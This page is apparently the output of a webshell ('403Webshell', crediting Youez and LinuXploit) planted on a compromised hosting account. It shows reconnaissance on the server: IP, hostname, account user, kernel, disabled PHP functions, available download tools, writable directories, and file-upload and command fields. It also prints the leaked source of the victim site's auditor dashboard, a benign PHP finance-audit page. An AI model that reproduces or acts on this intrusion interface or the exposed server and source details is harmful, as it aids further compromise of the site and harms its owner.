403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.25
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/auditor-dashboard.php
<?php
include 'includes/header.php';
require_once 'includes/db.php';
require_once 'includes/functions.php';

$role = strtolower($_SESSION['user_role'] ?? 'guest');
if (!in_array($role, ['auditor','super_admin'])) {
    echo "<div class='container p-4'><div class='alert alert-danger'>Access denied.</div></div>";
    include 'includes/footer.php';
    exit;
}

$now = new DateTimeImmutable();
$monthStart = $now->format('Y-m-01 00:00:00');
$monthEnd = $now->format('Y-m-t 23:59:59');
$ytdStart = $now->format('Y-01-01 00:00:00');
$ytdEnd = $now->format('Y-m-d 23:59:59');

function scalar_a($pdo,$sql,$params=[]){ try{$st=$pdo->prepare($sql);$st->execute($params);return (float)$st->fetchColumn();}catch(Exception $e){return 0;}}

$revMonth = scalar_a($pdo,"SELECT COALESCE(SUM(amount),0) FROM payments WHERE status IN ('verified','approved','paid') AND created_at BETWEEN ? AND ?",[$monthStart,$monthEnd]);
$revYTD = scalar_a($pdo,"SELECT COALESCE(SUM(amount),0) FROM payments WHERE status IN ('verified','approved','paid') AND created_at BETWEEN ? AND ?",[$ytdStart,$ytdEnd]);
$allocApproved = scalar_a($pdo,"SELECT COUNT(*) FROM allocations WHERE status IN ('approved','active')");
$refundsProcessed = scalar_a($pdo,"SELECT COUNT(*) FROM refunds WHERE status IN ('approved','rejected','paid')");
$totalRefundAmount = scalar_a($pdo,"SELECT COALESCE(SUM(amount),0) FROM refunds WHERE status IN ('approved','paid')");
$totalPaidAmount = scalar_a($pdo,"SELECT COALESCE(SUM(amount),0) FROM payments WHERE status IN ('verified','approved','paid')");
$refundRate = $totalPaidAmount > 0 ? round(($totalRefundAmount / $totalPaidAmount) * 100, 2) : 0;
$outstanding = 0;
try{ $outstanding = scalar_a($pdo,"SELECT COALESCE(SUM(amount_due - COALESCE(amount_paid,0)),0) FROM installments"); }catch(Exception $e){}
$turnaround = 0;
try{
    $q = $pdo->query("SELECT AVG(DATEDIFF(COALESCE(exec_decided_at, NOW()), created_at)) FROM allocations WHERE status IN ('approved','active')");
    $turnaround = round((float)$q->fetchColumn(),1);
}catch(Exception $e){}
$settingsChanges = 0;
try{
    if (function_exists('tableHasColumn') && tableHasColumn('settings_history','id')) {
        $settingsChanges = (int)scalar_a($pdo,"SELECT COUNT(*) FROM settings_history WHERE created_at BETWEEN ? AND ?",[$monthStart,$monthEnd]);
    }
}catch(Exception $e){}
$bankChanges = 0;
try{
    if (function_exists('tableHasColumn') && tableHasColumn('bank_accounts','updated_at')) {
        $bankChanges = (int)scalar_a($pdo,"SELECT COUNT(*) FROM bank_accounts WHERE updated_at BETWEEN ? AND ?",[$monthStart,$monthEnd]);
    }
}catch(Exception $e){}

$indicators = [];
$refundSpike = $refundRate > 10;
$indicators[] = ['label'=>'Refund rate','level'=>$refundSpike?'danger':'success'];
$largePayments = [];
try{
    $st = $pdo->prepare("SELECT id, amount FROM payments WHERE amount >= ? AND status IN ('verified','approved','paid') ORDER BY amount DESC LIMIT 5");
    $st->execute([(float)(getSetting('aud_large_payment_threshold', 5000000) ?: 5000000)]);
    $largePayments = $st->fetchAll(PDO::FETCH_ASSOC);
}catch(Exception $e){}
if (!empty($largePayments)) { $indicators[] = ['label'=>'Unusual large payments','level'=>'warning']; } else { $indicators[] = ['label'=>'Unusual large payments','level'=>'success']; }
if ($settingsChanges > 5) { $indicators[] = ['label'=>'Frequent fee edits','level'=>'warning']; } else { $indicators[] = ['label'=>'Frequent fee edits','level'=>'success']; }
try{
    $rej = (int)scalar_a($pdo,"SELECT COUNT(*) FROM refunds WHERE status = 'rejected' AND created_at BETWEEN ? AND ?",[$monthStart,$monthEnd]);
    if ($rej >= 5) { $indicators[] = ['label'=>'Multiple refund rejections','level'=>'warning']; } else { $indicators[] = ['label'=>'Multiple refund rejections','level'=>'success']; }
}catch(Exception $e){ $indicators[] = ['label'=>'Multiple refund rejections','level'=>'secondary']; }
try{
    $overdueAllocs = (int)scalar_a($pdo,"SELECT COUNT(*) FROM allocations WHERE status IN ('pending','awaiting_approval') AND DATEDIFF(NOW(), created_at) > 14");
    if ($overdueAllocs > 0) { $indicators[] = ['label'=>'Overdue allocations','level'=>'danger']; } else { $indicators[] = ['label'=>'Overdue allocations','level'=>'success']; }
}catch(Exception $e){ $indicators[] = ['label'=>'Overdue allocations','level'=>'secondary']; }
$indicators[] = ['label'=>'Unapproved payment edits','level'=>'success'];

?>
<div class="container-fluid py-4">
    <div class="d-flex align-items-center justify-content-between mb-3">
        <h2 class="mb-0">Audit Dashboard</h2>
        <div class="text-muted">As of <?= htmlspecialchars(date('M d, Y')) ?></div>
    </div>
    <div class="row g-3">
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Revenue (This Month)</div><div class="h4 mb-0">₦<?= number_format($revMonth,2) ?></div></div></div></div>
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Revenue (YTD)</div><div class="h4 mb-0">₦<?= number_format($revYTD,2) ?></div></div></div></div>
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Allocations Approved</div><div class="h4 mb-0"><?= number_format($allocApproved) ?></div></div></div></div>
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Refunds Processed</div><div class="h4 mb-0"><?= number_format($refundsProcessed) ?></div></div></div></div>
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Refund Rate</div><div class="h4 mb-0"><?= number_format($refundRate,2) ?>%</div></div></div></div>
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Outstanding Installments</div><div class="h4 mb-0">₦<?= number_format($outstanding,2) ?></div></div></div></div>
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Allocation Turnaround (days avg)</div><div class="h4 mb-0"><?= number_format($turnaround,1) ?></div></div></div></div>
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Setting Changes (This Month)</div><div class="h4 mb-0"><?= number_format($settingsChanges) ?></div></div></div></div>
        <div class="col-6 col-md-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Bank Account Changes</div><div class="h4 mb-0"><?= number_format($bankChanges) ?></div></div></div></div>
    </div>
    <div class="row g-3 mt-1">
        <div class="col-md-6">
            <div class="card shadow-sm">
                <div class="card-header">Compliance Health</div>
                <div class="card-body">
                    <?php foreach ($indicators as $ind): ?>
                    <div class="d-flex align-items-center mb-2">
                        <span class="badge bg-<?= $ind['level']==='danger'?'danger':($ind['level']==='warning'?'warning text-dark':($ind['level']==='success'?'success':'secondary')) ?> me-2">&nbsp;</span>
                        <span><?= htmlspecialchars($ind['label']) ?></span>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
        </div>
    </div>
</div>
<script>
(function(){
    let t; const logoutAfter=15*60*1000; const reset=()=>{clearTimeout(t);t=setTimeout(()=>location.href='logout.php?reason=idle',logoutAfter);};
    ['click','mousemove','keydown','scroll','touchstart'].forEach(ev=>window.addEventListener(ev,reset,{passive:true}));
    reset();
})();
</script>
<?php include 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit